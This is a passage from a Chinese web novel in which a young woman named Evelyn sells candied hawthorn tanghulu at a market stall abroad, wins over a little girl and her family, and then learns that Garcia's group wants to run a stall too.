更有意思的是,昨天那个刚掉了一颗牙的姑娘也抱着球凑了过来。
她奶声奶气道“这个是什么?”她指了指圆滚滚的带着斑点的山楂,好奇的询问。
伊芙琳笑眯眯道,“是山楂呀,山楂酸酸甜甜的很好吃哦。”
“我喜欢酸酸的糖……”小姑娘有些纠结的看着糖葫芦,“可是我怕我咬不动糖葫芦……”
糖葫芦都成小可怜的阴影了……伊芙琳怜惜的看了眼对方说话就漏风的大门牙。
孩子妈妈看了几眼,发现大部分都是水果,她还是心有余悸道“这些糖葫芦都不硬吧……”她刚问完突然惊讶道“哎呀,是你呀。”
她似乎很诧异伊芙琳竟然第二天就过来摆摊,还是糖葫芦,只不过横幅上的英文写的是华国正宗糖葫芦。
“这有什么区别吗?”
“区别就在于,糖葫芦是我们……是华国的特色小吃,味道不错糖衣薄脆里面的水果也很新鲜。您也知道现在水果很贵的。”
她的价位非常合理。
而且确实都是水果也出不了什么差错。
小姑娘看着妈妈“我能吃吗妈妈。”
她妈妈看起来很惯着自己的孩子,“当然宝贝。”都是水果出不了问题。
孩子们一个个的叽叽喳喳的围着伊芙琳,有的直接说颜色有的直接喊水果的名字。
小姑娘拿到自己心心念念圆圆红红的果子,稀罕的用小手指点了点,然后歪着小脑袋咬了半颗。吃下肚子直接兴奋得跳脚,“妈妈!好吃!”
小家伙高高举着小手将山楂串递给妈妈,但她手的力气太小,山楂串一串分量也很实诚,差点一歪掉到了地上,她妈妈连忙握着女儿的手半蹲下咬了一口。
“嗯?”女人嚼着酸酸甜甜细腻绵软的沙果子,脆脆的糖衣外壳比那家店的糖衣还好吃。重点是这个果子,味道还真是不错。
因为伊芙琳做的糖葫芦分量很足,有些人买了就走,一边走一边吃。
伊芙琳来了人就收钱让对方自己取,没人就夹着草垛双手插兜大量打量四周的美食摊子。旁边的三明治毯子的阿姨买了一串山楂。
那大和家的姑娘摊位上也时不时的有人买,只不过留在那吃的人大多不会再去第二次。
而伊芙琳这边小姑娘和她母亲走了之后,又决定给家里人带一些回去,包了四串山楂和一串草莓。
山楂果子小吃确实很少见。
女人回家后将包着牛皮纸的果子放到了室外,她清楚的记得伊芙琳说过的话,这个不能放进温暖的卧室,会融化,冰箱冷藏就可以。
但女人也担心会窜了味道,干脆放到了窗外的门廊躺椅上。
这天晚上丈夫孩子们回家。
吃完饭后女人拿出来山楂糖葫芦。
她丈夫还不知道这是什么,她妻子说这是华国的山楂糖葫芦,非常好吃。
糖葫芦啊……
还真没听过。
孩子们一窝蜂冲上去直接开吃,丈夫拿了一根咬了一颗下来,脆壳糖衣粘连的部分咔嚓被咬开,酸酸甜甜绵密口感的果子和糖水融化在一起。
“嗯?”男人将糖葫芦放在眼前,“好吃!”
不过伊芙琳可不打算一整个月耗在这里。
她是来培养感情的!
可没想到,加西亚他们突然对摆摊感兴趣!